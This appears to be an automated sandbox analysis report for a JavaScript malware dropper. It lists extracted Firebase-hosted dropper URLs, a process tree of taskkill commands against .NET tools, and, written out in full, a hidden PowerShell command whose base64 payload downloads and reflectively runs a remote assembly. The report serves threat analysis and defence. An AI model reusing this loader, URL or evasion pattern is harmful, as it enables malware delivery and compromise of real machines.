Analysis

  • max time kernel
    148s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/09/2026, 14:32

General

  • Target
    af77bb57c12e40a0f4ac6831bb8e6951d0c583fecea0f0132341ac676933e2e1_pre-append.js
  • Size 756KB
  • Sample260913-rwpersgr4w
  • SHA256 6024f18eba00064ebb5656c37332ca213108ba31f748dc6747b6b7e8f0ca600f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://firebasestorage.googleapis.com/v0/b/anyaa-7c774.firebasestorage.app/o/teliteli123.png?alt=media&token=1759c34c-8a56-471a-83de-a1f590f61ee4

  • exe.dropper

    https://firebasestorage.googleapis.com/v0/b/anyaa-7c774.firebasestorage.app/o/teliteli123.png?alt=media&token=1759c34c-8a56-471a-83de-a1f590f61ee4

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\af77bb57c12e40a0f4ac6831bb8e6951d0c583fecea0f0132341ac676933e2e1_pre-append.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3744
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM MSBuild.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4368
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM RegAsm.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2788
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM RegSvcs.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4012
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM InstallUtil.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5656
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM csc.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4788
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM vbc.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4620
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM jsc.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2832
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM IEExec.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3236
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM dfsvc.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:6104
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM PresentationHost.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1592
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM Microsoft.Workflow.Compiler.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4252
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM AddInProcess.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4792
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM AddInProcess32.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5116
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM ngen.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2408
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM ngentask.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2480
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM mscorsvw.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5152
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /F /IM AppLaunch.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4380
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHRheGljYWIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0YXhpY2FiLkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgIk1vemlsbGEvNS4wIik7JHRheGljYWIuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskdGF4aWNhYi5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7JGp1ZGdtZW50YWxseSA9ICchQCMkJcKoJiolJCNAISMlJCUkI0AhIyUkJsKoJSQjJSQmKsKoNTQ4N0QyNTg3JCU0NTY3IyQlOi8vZmlyZWJhMjU4NyQlNDU2NyMkJWUyNTg3JCU0NTY3IyQlJSQjQCEjJSRvcmFnZS5nb29nbGVhJsKoJSQjJSQmKsKoNTQ4N0RpMjU4NyQlNDU2NyMkJS5jb20vdjAvYi9hbnlhYS03Yzc3NC5maXJlYmEyNTg3JCU0NTY3IyQlZTI1ODckJTQ1NjcjJCUlJCNAISMlJG9yYWdlLmEmwqglJCMlJCYqwqg1NDg3RCbCqCUkIyUkJirCqDU0ODdEL28vJSQjQCEjJSRlbGklJCNAISMlJGVsaTEyMy4mwqglJCMlJCYqwqg1NDg3RG5nP2FsJSQjQCEjJSQ9bWVkaWEmJSQjQCEjJSRva2VuPTE3NTljMzRjLThhNTYtNDcxYS04M2RlLWExZjU5MGY2MWVlNCcuUmVwbGFjZSgnIUAjJCXCqCYqJywgJ2gnKS5SZXBsYWNlKCclJCNAISMlJCcsICd0JykuUmVwbGFjZSgnJsKoJSQjJSQmKsKoNTQ4N0QnLCAncCcpLlJlcGxhY2UoJzI1ODckJTQ1NjcjJCUnLCAncycpOyRzbWF0dGVyaW5nID0gJHRheGljYWIuRG93bmxvYWREYXRhKCRqdWRnbWVudGFsbHkpOyR0b2FkaGVhZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkc21hdHRlcmluZyk7aWYgKCR0b2FkaGVhZCAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJykgeyAgJGRlY29tbWlzc2lvbiA9ICRtYXRjaGVzWzFdOyAgJGFsYW50aW4gPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkZWNvbW1pc3Npb24pKTsgICRhcmdzQmFzZTY0ID0gJ0p6MXJhazFvVW0xWmFscFhUalJyUkZwck1YbE5hRlpVV1hSWk1rMW9VbFJNYUZwWFRta3hlVTBLRFhoTk1rNW9XbXBPYVRGcVlteDBNbUl3V2xOWmNGSlhXblF4UkdSelJqSlFNR2hJWkhWRmFtTnNkRmRhY2xZeVluWTRNa3gzUWxoWmRWVXlXbWhLTTJJd1RsaGFla1p0V1d4S1dHRUtEVzAxUTA0elkzcFpNekJUV1doc2JtSm9PV2xaZGtGcVpIWXdNbUpxTlhsamNFSllXV3g0TWxwMk9USmFkVlV5V21oS00ySXdUbGhhZWtadFdXeEtXR0Z0T1hsTU5rMUlZekJTU0dFbkxDY25MQ2RET2x4VmMyVnljMXhRZFdKc2FXTmNSRzkzYm14dllXUnpYQ2NzSjA1aGJXVmZSbWxzWlNjc0owMVRRblZwYkdRbkxDY25MQ2ROVTBKMWFXeGtKeXduSnl3blZWSk1KeXduUXpwY1ZYTmxjbk5jVUhWaWJHbGpYRVJ2ZDI1c2IyRmtjMXduTENkT1lXMWxYMFpwYkdVbkxDZHFjeWNzSnpFbkxDY25MQ2RVWVhOclgwNWhiV1VuTENjd0p5d25KeXduSnl3bkp3PT0nOyAgJGFyZ3NTdHJpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRhcmdzQmFzZTY0KSk7ICAkYXJncyA9ICRhcmdzU3RyaW5nIC1zcGxpdCAnLCcgfCBGb3JFYWNoLU9iamVjdCB7ICRfLlRyaW0oJycnIicgKSB9OyAgW1NvZnR3YXJlLlByb2dyYW1dLkdldE1ldGhvZCgiTWFpbiIpLkludm9rZSgkbnVsbCwgJGFyZ3MpO30=')) | Invoke-Expression"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2400

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/2400-0-0x00000154BAB50000-0x00000154BAB72000-memory.dmp